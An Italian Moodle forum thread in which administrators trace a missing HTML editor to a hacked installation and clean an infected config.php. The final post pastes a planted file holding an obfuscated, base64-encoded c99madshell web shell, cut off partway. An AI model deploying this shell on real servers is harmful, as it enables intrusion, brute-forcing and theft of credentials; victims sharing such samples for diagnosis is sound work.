Perso editor HTML

Perso editor HTML

di marinella lai -
Numero di risposte: 21
Mi è sparito l'editor HTML che non sono riuscita a ripristinare, cosa che avevo fatto senza difficoltà un'altra volta da configurazione>editor html. Ho provato con i valori predefiniti e non cambia niente. Qulcuno potrebbe aiutarmi? ;) Uso la versione 6.1. Grazie d'anticipo
Media dei voti:  -
In riposta a marinella lai

Re: Perso editor HTML

di Andrea Bicciolo -
Immagine Core developers Immagine Plugin developers Immagine Translators
Hai verificato nel tuo profilo se per caso l'editor fosse disabilitato? Accertati anche di usare browser che supportano l'editor HTML.
In riposta a Andrea Bicciolo

Re: Perso editor HTML

di marinella lai -
Grazie Andrea, sul profilo l'editor sembrerebbe abilitato thoughtful; quanto al browser so che supporta l'editor HTML: ma come posso verificare? Ancora grazie
Allegato Immagine_1.png
In riposta a marinella lai

Re: Perso editor HTML

di Andrea Bicciolo -
Immagine Core developers Immagine Plugin developers Immagine Translators
Di certo l'editor funziona su Firefox ed Internet Explorer.
In riposta a Andrea Bicciolo

Re: Perso editor HTML

di Natalia Visalli -
Forse è un'epidemia inflenzale ......

Anche io ho pero l'editor HTML triste

Funzionava benissimo fino a venerdì scorso. Stesso computer con Firefox.

Ho controllato il profilo e l'impostazioni dell'editor. Niente da fare.


Nelle risorse che avevo già creato, in modalità aggiorna compare nel testo integrale direttamente il codice HTML.

Grazie a che vorrà aiutarmi

Natalia


In riposta a Natalia Visalli

Re: Perso editor HTML

di marinella lai -
Ciao Natalia, a questo punto è abbastanza facile che possa trattarsi di un bug dovuto ai componenti aggiuntivi di Firefox. Ieri ho verificato, infatti, che tutto funziona perfettamente nel pc sul quale ho disinstallato le estensioni del browser big grin.
In riposta a marinella lai

Re: Perso editor HTML

di Carlo Amore -
Stessa cosa anche a me da pochissimi giorni su www.emanganolearning.it, sia con explorer che con firefox. Un virus? o cosa. E' un problema adesso gestire la piattaforma.Carlo Amore
In riposta a Carlo Amore

Re: Perso editor HTML

di Natalia Visalli -
Scusa il tuo sito è su Aruba ?

Natalia
In riposta a marinella lai

Re: Perso editor HTML

di Natalia Visalli -
Ciao Marinella,

la mia influenza deve essere più grave purtroppo.
Ho disattivato le estenzioni e anche i plugin.
Ho reinstallato firefox...... ma sono ancora nei guai triste

Natalia

In riposta a Natalia Visalli

Re: Perso editor HTML

di Rocco Mita -
Salve a tutti,
anche io ho lo stesso problema e nn riesco a risolverlo. Comunque visto che qui mi funziona tutto, escluderei che si tratti di un problema di browser e visto che io ho hosting linux su aruba, direi di contattare aruba.
Probabilmente avranno bloccato qualcosa.

A presto...

In riposta a Rocco Mita

Re: Perso editor HTML

di Rocco Mita -
Ecco la risposta di aruba

Gentile cliente,
il problema dipende dal fatto che terze parti hanno sfruttato vulnerabilità della sua vecchia versione di Moodle per inserire codice malevolo. Questo impedisce il corretto funzionamento del CMS.

Le consigliamo di inserire via FTP una copia di backup dei files e, se vi è disponibile, una copia di backup del database MySQL.
In riposta a Rocco Mita

Re: Perso editor HTML

di Natalia Visalli -
Naturalmente io non ho fatto il backup arrossito

Natalia
In riposta a Natalia Visalli

Re: Perso editor HTML

di marinella lai -
Il problema persiste. Qualcuno ha risolto? Cosa si potrebbe a questo punto fare?
In riposta a marinella lai

Re: Perso editor HTML

di Natalia Visalli -
Sto riflettendo sulla possibilità di reinstallare tutto triste

Intanto penso di utilizzare questo sito

http://writetomyblog.com/

per scrivere sulla piattaforma considerato che continua ad utilizzare l'HTML

Natalia
In riposta a Natalia Visalli

Re: Perso editor HTML

di ida taci -

è successo anche a me in una delle installazioni di moodle che avevo.

Viene modificato il file config.php quindi va reinstallato questo, la vulnerabilità è data penso dal fatto che dopo l'installazione non è stato cancellato il file install.php, infatti nella stessa versione di moodle dove era stato cancellato non è successo niente.

Spero che questo possa aiutarvi non ho ancora fatto la prova di sostituzione del config ma lo ho letto ed ho visto il danno che in pratica permette di entrare nella direttory in lettura e scrittura.

In riposta a ida taci

Re: Perso editor HTML

di ida taci -
Niente da fare il config modificato si reinstalla, penso quindi che sia da vuotare tutto e reinstallare, purtroppo
In riposta a ida taci

Re: Perso editor HTML

di Rocco Mita -
Finalmente ho risolto il problema, semplicemente modificando il config.php, che era pieno di codice inutile. La cosa importante da fare e rispettare gli spazi altrimenti nn funziona.

Saluti
In riposta a Rocco Mita

Re: Perso editor HTML

di teresa teresa -
Anch'io ho avuto lo stesso problema e l'ho risolto ripulendo il config.php da codice che prima non c'era.
Allego il file config che ho trovato modificato per farvi capire il codice inserito,

in più nella directory di moodle ho trovato un file i.php contenente

<?php if(@$_SERVER['HTTP_A'] != 'b') {header("Location: /");exit;} eval(base64_decode('aWYgKCFmdW5jdGlvbl9leGlzdHMoImdldG1pY3JvdGltZSIpKSB7ZnVuY3Rpb24gZ2V0bWljcm90aW1lKCkge2xpc3QoJHVzZWMsICRzZWMpID0gZXhwbG9kZSgiICIsIG1pY3JvdGltZSgpKTsgcmV0dXJuICgoZmxvYXQpJHVzZWMgKyAoZmxvYXQpJHNlYyk7fX0NCmVycm9yX3JlcG9ydGluZyg1KTsNCkBpZ25vcmVfdXNlcl9hYm9ydChUUlVFKTsNCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQokd2luID0gc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpID09ICJ3aW4iOw0KZGVmaW5lKCJzdGFydHRpbWUiLGdldG1pY3JvdGltZSgpKTsNCmlmIChnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7aWYgKCFmdW5jdGlvbl9leGlzdHMoInN0cmlwcyIpKSB7ZnVuY3Rpb24gc3RyaXBzKCYkYXJyLCRrPSIiKSB7aWYgKGlzX2FycmF5KCRhcnIpKSB7Zm9yZWFjaCgkYXJyIGFzICRrPT4kdikge2lmIChzdHJ0b3VwcGVyKCRrKSAhPSAiR0xPQkFMUyIpIHtzdHJpcHMoJGFyclsiJGsiXSk7fX19IGVsc2UgeyRhcnIgPSBzdHJpcHNsYXNoZXMoJGFycik7fX19IHN0cmlwcygkR0xPQkFMUyk7fQ0KJF9SRVFVRVNUID0gYXJyYXlfbWVyZ2UoJF9DT09LSUUsJF9QT1NUKTsNCmZvcmVhY2goJF9SRVFVRVNUIGFzICRrPT4kdikge2lmICghaXNzZXQoJCRrKSkgeyQkayA9ICR2O319DQokc2h2ZXIgPSAiMi4wIG1hZG5ldCBlZGl0aW9uIjsNCmlmIChlbXB0eSgkc3VybCkpDQp7DQogJHN1cmwgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXTsNCn0NCiRzdXJsID0gaHRtbHNwZWNpYWxjaGFycygkc3VybCk7DQoNCiR0aW1lbGltaXQgPSAwOw0KJGhvc3RfYWxsb3cgPSBhcnJheSgiKiIpOw0KJGxvZ2luX3R4dCA9ICJBZG1pbiBhcmVhIjsNCiRhY2Nlc3NkZW5pZWRtZXNzID0gIjxhIGhyZWY9XCJodHRwOi8vc2VjdXJpdHlwcm9iZS5uZXRcIj5jOTltYWRzaGVsbCB2LiIuJHNodmVyLiI8L2E+OiBhY2Nlc3MgZGVuaWVkIjsNCiRnemlwZW5jb2RlID0gVFJVRTsNCiRjOTlzaF9zb3VyY2VzdXJsID0gImh0dHA6Ly9jY3RlYW0ucnUvZmlsZXMvYzk5c2hfc291cmNlcy8iOyAvL1NvdXJjZXMtc2VydmVyDQokZmlsZXN0ZWFsdGggPSBUUlVFOw0KJGRvbmF0ZWRfaHRtbCA9ICI8Y2VudGVyPjxiPk93bmVkIGJ5IHJvb3Q8L2I+PC9jZW50ZXI+IjsNCiRkb25hdGVkX2FjdCA9IGFycmF5KCIiKTsNCiRjdXJkaXIgPSAiLi8iOw0KJHRtcGRpciA9ICIiOw0KJHRtcGRpcl9sb2cgPSAiLi8iOw0KDQokbG9nX2VtYWlsID0gInVzZXJAaG9zdC5nb3YiOw0KJHNvcnRfZGVmYXVsdCA9ICIwYSI7DQokc29ydF9zYXZlID0gVFJVRTsNCg0KJGZ0eXBlcyAgPSBhcnJheSgNCiAiaHRtbCI9PmFycmF5KCJodG1sIiwiaHRtIiwic2h0bWwiKSwNCiAidHh0Ij0+YXJyYXkoInR4dCIsImNvbmYiLCJiYXQiLCJzaCIsImpzIiwiYmFrIiwiZG9jIiwibG9nIiwic2ZjIiwiY2ZnIiwiaHRhY2Nlc3MiKSwNCiAiZXhlIj0+YXJyYXkoInNoIiwiaW5zdGFsbCIsImJhdCIsImNtZCIpLA0KICJpbmkiPT5hcnJheSgiaW5pIiwiaW5mIiksDQogImNvZGUiPT5hcnJheSgicGhwIiwicGh0bWwiLCJwaHAzIiwicGhwNCIsImluYyIsInRjbCIsImgiLCJjIiwiY3BwIiwicHkiLCJjZ2kiLCJwbCIpLA0KICJpbWciPT5hcnJheSgiZ2lmIiwicG5nIiwianBlZyIsImpmaWYiLCJqcGciLCJqcGUiLCJibXAiLCJpY28iLCJ0aWYiLCJ0aWZmIiwiYXZpIiwibXBnIiwibXBlZyIpLA0KICJzZGIiPT5hcnJheSgic2RiIiksDQogInBocHNlc3MiPT5hcnJheSgic2VzcyIpLA0KICJkb3dubG9hZCI9PmFycmF5KCJleGUiLCJjb20iLCJwaWYiLCJzcmMiLCJsbmsiLCJ6aXAiLCJyYXIiLCJneiIsInRhciIpDQopOw0KDQoNCiRleGVmdHlwZXMgID0gYXJyYXkoDQogZ2V0ZW52KCJQSFBSQyIpLiIgLXEgJWYlIiA9PiBhcnJheSgicGhwIiwicGhwMyIsInBocDQiKSwNCiAicGVybCAlZiUiID0+IGFycmF5KCJwbCIsImNnaSIpDQopOw0KDQokcmVneHBfaGlnaGxpZ2h0ICA9IGFycmF5KA0KICBhcnJheShiYXNlbmFtZSgkX1NFUlZFUlsiUEhQX1NFTEYiXSksMSwiPGZvbnQgY29sb3I9XCJ5ZWxsb3dcIj4iLCI8L2ZvbnQ+IiksDQogIGFycmF5KCJjb25maWcucGhwIiwxKSAvLyBleGFtcGxlDQopOw0KDQokc2FmZW1vZGVfZGlza2V0dGVzID0gYXJyYXkoImEiKTsNCiRoZXhkdW1wX2xpbmVzID0gODsNCiRoZXhkdW1wX3Jvd3MgPSAyNDsNCiRuaXhwd2RwZXJwYWdlID0gMTAwOw0KJGJpbmRwb3J0X3Bhc3MgPSAiYzk5bWFkIjsNCiRiaW5kcG9ydF9wb3J0ID0gIjMxMzczIjsNCiRiY19wb3J0ID0gIjMxMzczIjsNCiRkYXRhcGlwZV9sb2NhbHBvcnQgPSAiODA4MSI7DQppZiAoISR3aW4pDQp7DQogJGNtZGFsaWFzZXMgPSBhcnJheSgNCiAgYXJyYXkoIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiwgImxzIC1sYSIpLA0KICBhcnJheSgiZmluZCBhbGwgc3VpZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiksDQogIGFycmF5KCJmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIpLA0KICBhcnJheSgiZmluZCBhbGwgc2dpZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiksDQogIGFycmF5KCJmaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLA0KICBhcnJheSgiZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIpLA0KICBhcnJheSgiZmluZCBjb25maWcqIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiksDQogIGFycmF5KCJmaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiKSwNCiAgYXJyYXkoImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIiwgImZpbmQgLyAtcGVybSAtMiAtbHMiKSwNCiAgYXJyYXkoImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtcGVybSAtMiAtbHMiKSwNCiAgYXJyYXkoImZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksDQogIGFycmF5KCJmaW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksDQogIGFycmF5KCJmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiksDQogIGFycmF5KCJmaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiKSwNCiAgYXJyYXkoImZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIpLA0KICBhcnJheSgiZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiKSwNCiAgYXJyYXkoImZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiKSwNCiAgYXJyYXkoImZpbmQgLmZldGNobWFpbHJjIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIpLA0KICBhcnJheSgibGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW0iLCAibHNhdHRyIC12YSIpLA0KICBhcnJheSgic2hvdyBvcGVuZWQgcG9ydHMiLCAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIpDQogKTsNCn0NCmVsc2UNCnsNCiAkY21kYWxpYXNlcyA9IGFycmF5KA0KICBhcnJheSgiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iLCAiZGlyIiksDQogIGFycmF5KCJzaG93IG9wZW5lZCBwb3J0cyIsICJuZXRzdGF0IC1hbiIpDQogKTsNCn0NCg0KJHNlc3NfY29va2llID0gImM5OXNodmFycyI7DQoNCiR1c2Vmc2J1ZmYgPSBUUlVFOw0KJGNvcHlfdW5zZXQgPSBGQUxTRTsNCg0KJHF1aWNrbGF1bmNoID0gYXJyYXkoDQogYXJyYXkoIjxiPjxocj5IT01FPC9iPiIsJHN1cmwpLA0KIGFycmF5KCI8Yj48PTwvYj4iLCIjXCIgb25jbGljaz1cImhpc3RvcnkuYmFjaygxKSIpLA0KIGFycmF5KCI8Yj49PjwvYj4iLCIjXCIgb25jbGljaz1cImhpc3RvcnkuZ28oMSkiKSwNCiBhcnJheSgiPGI+VVBESVI8L2I+IiwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nbHMnO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nJXVwZCc7ZG9jdW1lbnQudG9kby5zb3J0LnZhbHVlPSclc29ydCc7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTsiKSwNCiBhcnJheSgiPGI+U2VhcmNoPC9iPiIsIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J3NlYXJjaCc7ZG9jdW1lbnQudG9kby5kLnZhbHVlPSclZCc7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTsiKSwNCiBhcnJheSgiPGI+QnVmZmVyPC9iPiIsIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J2ZzYnVmZic7ZG9jdW1lbnQudG9kby5kLnZhbHVlPSclZCc7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTsiKSwNCiBhcnJheSgiPGI+VG9vbHM8L2I+IiwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0ndG9vbHMnO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nJWQnO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7IiksDQogYXJyYXkoIjxiPlByb2MuPC9iPiIsIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J3Byb2Nlc3Nlcyc7ZG9jdW1lbnQudG9kby5kLnZhbHVlPSclZCc7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTsiKSwNCiBhcnJheSgiPGI+RlRQIGJydXRlPC9iPiIsIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J2Z0cHF1aWNrYnJ1dGUnO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nJWQnO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7IiksDQogYXJyYXkoIjxiPlNlYy48L2I+IiwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nc2VjdXJpdHknO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nJWQnO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7IiksDQogYXJyYXkoIjxiPlNRTDwvYj4iLCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRvZG8uYWN0LnZhbHVlPSdzcWwnO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nJWQnO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7IiksDQogYXJyYXkoIjxiPlBIUC1jb2RlPC9iPiIsIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J2V2YWwnO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nJWQnO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7IiksDQogYXJyYXkoIjxiPlNlbGYgcmVtb3ZlPC9iPiIsIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J3NlbGZyZW1vdmUnO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7IiksDQogYXJyYXkoIjxiPkxvZ291dDwvYj4iLCIjXCIgb25jbGljaz1cImlmIChjb25maXJtKCdBcmUgeW91IHN1cmU/JykpIHdpbmRvdy5jbG9zZSgpIikNCik7DQoNCiRoaWdobGlnaHRfYmFja2dyb3VuZCA9ICIjYzBjMGMwIjsNCiRoaWdobGlnaHRfYmcgPSAiI0ZGRkZGRiI7DQokaGlnaGxpZ2h0X2NvbW1lbnQgPSAiIzZBNkE2QSI7DQokaGlnaGxpZ2h0X2RlZmF1bHQgPSAiIzAwMDBCQiI7DQokaGlnaGxpZ2h0X2h0bWwgPSAiIzEzMDBGRiI7DQokaGlnaGxpZ2h0X2tleXdvcmQgPSAiIzAwNzcwMCI7DQokaGlnaGxpZ2h0X3N0cmluZyA9ICIjMDAwMDAwIjsNCg0KQCRmID0gJF9SRVFVRVNUWyJmIl07DQpAZXh0cmFjdCgkX1JFUVVFU1RbImM5OXNoY29vayJdKTsNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCkBzZXRfdGltZV9saW1pdCgwKTsNCiR0bXAgPSBhcnJheSgpOw0KZm9yZWFjaCgkaG9zdF9hbGxvdyBhcyAkaz0+JHYpIHskdG1wW10gPSBzdHJfcmVwbGFjZSgiXFwqIiwiLioiLHByZWdfcXVvdGUoJHYpKTt9DQokcyA9ICIhXigiLmltcGxvZGUoInwiLCR0bXApLiIpJCFpIjsNCmlmICghcHJlZ19tYXRjaCgkcyxnZXRlbnYoIlJFTU9URV9BRERSIikpIGFuZCAhcHJlZ19tYXRjaCgkcyxnZXRob3N0YnlhZGRyKGdldGVudigiUkVNT1RFX0FERFIiKSkpKSB7ZXhpdCgiPGEgaHJlZj1cImh0dHA6Ly9zZWN1cml0eXByb2JlLm5ldFwiPmM5OW1hZHNoZWxsPC9hPjogQWNjZXNzIERlbmllZCAtIHlvdXIgaG9zdCAoIi5nZXRlbnYoIlJFTU9URV9BRERSIikuIikgbm90IGFsbG93Iik7fQ0KaWYgKCFlbXB0eSgkbG9naW4pKQ0Kew0KIGlmIChlbXB0eSgkbWQ1X3Bhc3MpKSB7JG1kNV9wYXNzID0gbWQ1KCRwYXNzKTt9DQogaWYgKCgkX1NFUlZFUlsiUEhQX0FVVEhfVVNFUiJdICE9ICRsb2dpbikgb3IgKG1kNSgkX1NFUlZFUlsiUEhQX0FVVEhfUFciXSkgIT0gJG1kNV9wYXNzKSkNCiB7DQogIGlmIChlbXB0eSgkbG9naW5fdHh0KSkgeyRsb2dpbl90eHQgPSBzdHJpcF90YWdzKGVyZWdfcmVwbGFjZSgiJm5ic3A7fDxicj4iLCIgIiwkZG9uYXRlZF9odG1sKSk7fQ0KICBoZWFkZXIoIldXVy1BdXRoZW50aWNhdGU6IEJhc2ljIHJlYWxtPVwiYzk5c2hlbGwgIi4kc2h2ZXIuIjogIi4kbG9naW5fdHh0LiJcIiIpOw0KICBoZWFkZXIoIkhUVFAvMS4wIDQwMSBVbmF1dGhvcml6ZWQiKTsNCiAgZXhpdCgkYWNjZXNzZGVuaWVkbWVzcyk7DQogfQ0KfQ0KDQppZiAoaXNzZXQoJF9QT1NUWydhY3QnXSkpICRhY3QgID0gJF9QT1NUWydhY3QnXTsNCmlmIChpc3NldCgkX1BPU1RbJ2QnXSkpICRkICAgID0gdXJsZGVjb2RlKCRfUE9TVFsnZCddKTsNCmlmIChpc3NldCgkX1BPU1RbJ3NvcnQnXSkpICRzb3J0ID0gJF9QT1NUWydzb3J0J107DQppZiAoaXNzZXQoJF9QT1NUWydmJ10pKSAkZiAgICA9ICRfUE9TVFsnZiddOw0KaWYgKGlzc2V0KCRfUE9TVFsnZnQnXSkpICRmdCAgID0gJF9QT1NUWydmdCddOw0KaWYgKGlzc2V0KCRfUE9TVFsnZ3JlcCddKSkgJGdyZXAgPSAkX1BPU1RbJ2dyZXAnXTsNCmlmIChpc3NldCgkX1BPU1RbJ3Byb2Nlc3Nlc19zb3J0J10pKSAkcHJvY2Vzc2VzX3NvcnQgPSAkX1BPU1RbJ3Byb2Nlc3Nlc19zb3J0J107DQppZiAoaXNzZXQoJF9QT1NUWydwaWQnXSkpICRwaWQgID0gJF9QT1NUWydwaWQnXTsNCmlmIChpc3NldCgkX1BPU1RbJ3NpZyddKSkgJHNpZyAgPSAkX1BPU1RbJ3NpZyddOw0KaWYgKGlzc2V0KCRfUE9TVFsnYmFzZTY0J10pKSAkYmFzZTY0ICA9ICRfUE9TVFsnYmFzZTY0J107DQppZiAoaXNzZXQoJF9QT1NUWydmdWxsaGV4ZHVtcCddKSkgJGZ1bGxoZXhkdW1wICA9ICRfUE9TVFsnZnVsbGhleGR1bXAnXTsNCmlmIChpc3NldCgkX1BPU1RbJ2MnXSkpICRjICA9ICRfUE9TVFsnYyddOw0KaWYgKGlzc2V0KCRfUE9TVFsnd2hpdGUnXSkpICR3aGl0ZSAgPSAkX1BPU1RbJ3doaXRlJ107DQppZiAoaXNzZXQoJF9QT1NUWyduaXhwYXNzd2QnXSkpICRuaXhwYXNzd2QgID0gJF9QT1NUWyduaXhwYXNzd2QnXTsNCg0KJGxhc3RkaXIgPSByZWFscGF0aCgiLiIpOw0KY2hkaXIoJGN1cmRpcik7DQokc2Vzc19kYXRhID0gdW5zZXJpYWxpemUoJF9DT09LSUVbIiRzZXNzX2Nvb2tpZSJdKTsNCmlmICghaXNfYXJyYXkoJHNlc3NfZGF0YSkpIHskc2Vzc19kYXRhID0gYXJyYXkoKTt9DQppZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImNvcHkiXSkpIHskc2Vzc19kYXRhWyJjb3B5Il0gPSBhcnJheSgpO30NCmlmICghaXNfYXJyYXkoJHNlc3NfZGF0YVsiY3V0Il0pKSB7JHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheSgpO30NCg0KJGRpc2FibGVmdW5jID0gQGluaV9nZXQoImRpc2FibGVfZnVuY3Rpb25zIik7DQppZiAoIWVtcHR5KCRkaXNhYmxlZnVuYykpDQp7DQogJGRpc2FibGVmdW5jID0gc3RyX3JlcGxhY2UoIiAiLCIiLCRkaXNhYmxlZnVuYyk7DQogJGRpc2FibGVmdW5jID0gZXhwbG9kZSgiLCIsJGRpc2FibGVmdW5jKTsNCn0NCg0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OV9idWZmX3ByZXBhcmUiKSkNCnsNCmZ1bmN0aW9uIGM5OV9idWZmX3ByZXBhcmUoKQ0Kew0KIGdsb2JhbCAkc2Vzc19kYXRhOw0KIGdsb2JhbCAkYWN0Ow0KIGZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikgeyRzZXNzX2RhdGFbImNvcHkiXVska10gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IscmVhbHBhdGgoJHYpKTt9DQogZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHskc2Vzc19kYXRhWyJjdXQiXVska10gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IscmVhbHBhdGgoJHYpKTt9DQogJHNlc3NfZGF0YVsiY29weSJdID0gYXJyYXlfdW5pcXVlKCRzZXNzX2RhdGFbImNvcHkiXSk7DQogJHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheV91bmlxdWUoJHNlc3NfZGF0YVsiY3V0Il0pOw0KIHNvcnQoJHNlc3NfZGF0YVsiY29weSJdKTsNCiBzb3J0KCRzZXNzX2RhdGFbImN1dCJdKTsNCiBpZiAoJGFjdCAhPSAiY29weSIpIHtmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikge2lmICgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdID09ICR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7IH19fQ0KIGVsc2Uge2ZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikge2lmICgkc2Vzc19kYXRhWyJjdXQiXVska10gPT0gJHYpIHt1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pO319fQ0KfQ0KfQ0KYzk5X2J1ZmZfcHJlcGFyZSgpOw0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OV9zZXNzX3B1dCIpKQ0Kew0KZnVuY3Rpb24gYzk5X3Nlc3NfcHV0KCRkYXRhKQ0Kew0KIGdsb2JhbCAkc2Vzc19jb29raWU7DQogZ2xvYmFsICRzZXNzX2RhdGE7DQogYzk5X2J1ZmZfcHJlcGFyZSgpOw0KICRzZXNzX2RhdGEgPSAkZGF0YTsNCiAkZGF0YSA9IHNlcmlhbGl6ZSgkZGF0YSk7DQogc2V0Y29va2llKCRzZXNzX2Nvb2tpZSwkZGF0YSk7DQp9DQp9DQpmb3JlYWNoIChhcnJheSgic29ydCIsInNxbF9zb3J0IikgYXMgJHYpDQp7DQogaWYgKCFlbXB0eSgkX1BPU1RbJHZdKSkgeyQkdiA9ICRfUE9TVFskdl07fQ0KfQ0KaWYgKCRzb3J0X3NhdmUpDQp7DQogaWYgKCFlbXB0eSgkc29ydCkpIHtzZXRjb29raWUoInNvcnQiLCRzb3J0KTt9DQogaWYgKCFlbXB0eSgkc3FsX3NvcnQpKSB7c2V0Y29va2llKCJzcWxfc29ydCIsJHNxbF9zb3J0KTt9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygic3RyMm1pbmkiKSkNCnsNCmZ1bmN0aW9uIHN0cjJtaW5pKCRjb250ZW50LCRsZW4pDQp7DQogaWYgKHN0cmxlbigkY29udGVudCkgPiAkbGVuKQ0KIHsNCiAgJGxlbiA9IGNlaWwoJGxlbi8yKSAtIDI7DQogIHJldHVybiBzdWJzdHIoJGNvbnRlbnQsIDAsJGxlbikuIi4uLiIuc3Vic3RyKCRjb250ZW50LC0kbGVuKTsNCiB9DQogZWxzZSB7cmV0dXJuICRjb250ZW50O30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3NpemUiKSkNCnsNCmZ1bmN0aW9uIHZpZXdfc2l6ZSgkc2l6ZSkNCnsNCiBpZiAoIWlzX251bWVyaWMoJHNpemUpKSB7cmV0dXJuIEZBTFNFO30NCiBlbHNlDQogew0KICBpZiAoJHNpemUgPj0gMTA3Mzc0MTgyNCkgeyRzaXplID0gcm91bmQoJHNpemUvMTA3Mzc0MTgyNCoxMDApLzEwMCAuIiBHQiI7fQ0KICBlbHNlaWYgKCRzaXplID49IDEwNDg1NzYpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwNDg1NzYqMTAwKS8xMDAgLiIgTUIiO30NCiAgZWxzZWlmICgkc2l6ZSA+PSAxMDI0KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0KjEwMCkvMTAwIC4iIEtCIjt9DQogIGVsc2UgeyRzaXplID0gJHNpemUgL